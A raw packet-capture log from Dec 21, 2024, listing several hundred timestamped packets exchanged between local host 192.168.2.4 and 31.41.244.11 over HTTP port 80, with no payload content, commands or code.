Dec 21, 2024 18:16:13.780355930 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.780421019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.780467987 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.780518055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.781452894 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.781506062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.781640053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.781692982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.782816887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.782874107 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.782916069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.782974005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.783581972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.783633947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.783685923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.783735991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.784616947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.784665108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.784720898 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.784768105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.785729885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.785794020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.785933018 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.785989046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.786755085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.786802053 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.786891937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.786941051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.787877083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.787926912 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.788014889 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.788062096 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.789014101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.789062977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.789181948 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.789228916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.790015936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.790066004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.790146112 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.790199041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.791074991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.791124105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.791337013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.791387081 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.792129993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.792179108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.792407990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.792457104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.793219090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.793261051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.793354034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.793401957 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.794346094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.794404984 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.794447899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.794502974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.795377016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.795427084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.795447111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.795492887 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.796477079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.796529055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.796538115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.796583891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.797547102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.797595024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.797671080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.797719002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.798578978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.798626900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.798717976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.798768044 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.799701929 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.799774885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.799776077 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.799820900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.800725937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.800775051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.800920963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.800967932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.801841974 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.801892042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.801920891 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.801969051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.802912951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.802966118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.802994967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.803055048 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.803991079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.804048061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.804151058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.804198027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.805011034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.805059910 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.805154085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.805202007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.806150913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.806202888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.806328058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.806376934 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.807220936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.807276964 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.807368994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.807416916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.808434963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.808482885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.808552980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.808602095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.809597015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.809644938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.809797049 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.809853077 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.810607910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.810657978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.810723066 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.810771942 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.811522961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.811569929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.811629057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.811682940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.812563896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.812618017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.812707901 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.812756062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.813667059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.813713074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.813755989 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.813802004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.814718962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.814766884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.814820051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.814867973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.815789938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.815840006 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.815912008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.815959930 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.817007065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.817054987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.817059994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.817102909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.817941904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.817987919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.818061113 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.818109035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.819020987 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.819068909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.819235086 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.819282055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.820127010 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.820188999 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.820195913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.820242882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.821142912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.821198940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.821275949 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.821322918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.822225094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.822272062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.822288990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.822335958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.823304892 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.823352098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.823441982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.823489904 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.824330091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.824379921 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.824486017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.824533939 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.825335026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.825381994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.961518049 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.961545944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.961674929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.961935043 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.961954117 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.962009907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.962042093 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.962697029 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.962757111 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.962800026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.962949991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.963736057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.963799000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.963845968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.963906050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.964818954 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.964899063 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.964934111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.964977026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.965923071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.965996981 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.966027975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.966073990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.966909885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.966998100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.967016935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.967102051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.967988968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.968071938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.968087912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.968162060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.969028950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.969094038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.969136953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.969188929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.970119953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.970189095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.970423937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.970479012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.971199989 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.971271992 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.971292973 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.971359015 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.972196102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.972256899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.972264051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.972316027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.973262072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.973346949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.973411083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.973483086 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.974354982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.974401951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.974421024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.974471092 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.975390911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.975439072 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.975478888 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.975522041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.976485014 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.976530075 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.976533890 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.976574898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.977479935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.977533102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.977607965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.977653027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.978553057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.978600979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.978713036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.978764057 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.979711056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.979765892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.979924917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.979964972 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.980700970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.980751991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.980792046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.980840921 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.981810093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.981862068 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.981897116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.981944084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.982768059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.982820988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.982824087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.982867956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.983854055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.983902931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.983967066 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.984019041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.984899998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.984956026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.985001087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.985045910 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.986000061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.986051083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.986104012 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.986156940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.987020969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.987073898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.987211943 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.987277031 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.988086939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.988142014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.988219976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.988267899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.989139080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.989188910 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.989269018 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.989315987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.990170002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.990226984 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.990307093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.990355968 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.991296053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.991348982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.991472960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.991518974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.992330074 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.992379904 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.992578030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.992669106 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.993423939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.993479967 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.993577003 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.993626118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.994492054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.994544029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.994601965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.994648933 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.995475054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.995527983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.995620012 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.995665073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.996589899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.996638060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.996668100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.996715069 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.997720957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.997769117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.997808933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.997859001 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.998881102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.998927116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.998935938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.998985052 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.999727964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.999789000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.999907970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.999962091 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.000817060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.000883102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.000946999 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.000998020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.001909971 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.001970053 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.001977921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.002023935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.002883911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.002943039 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.002990961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.003041983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.003962040 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.004009962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.004050016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.004093885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.005012989 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.005074024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.005165100 CET	80	49770	31.41.244.11	192.168.2.4
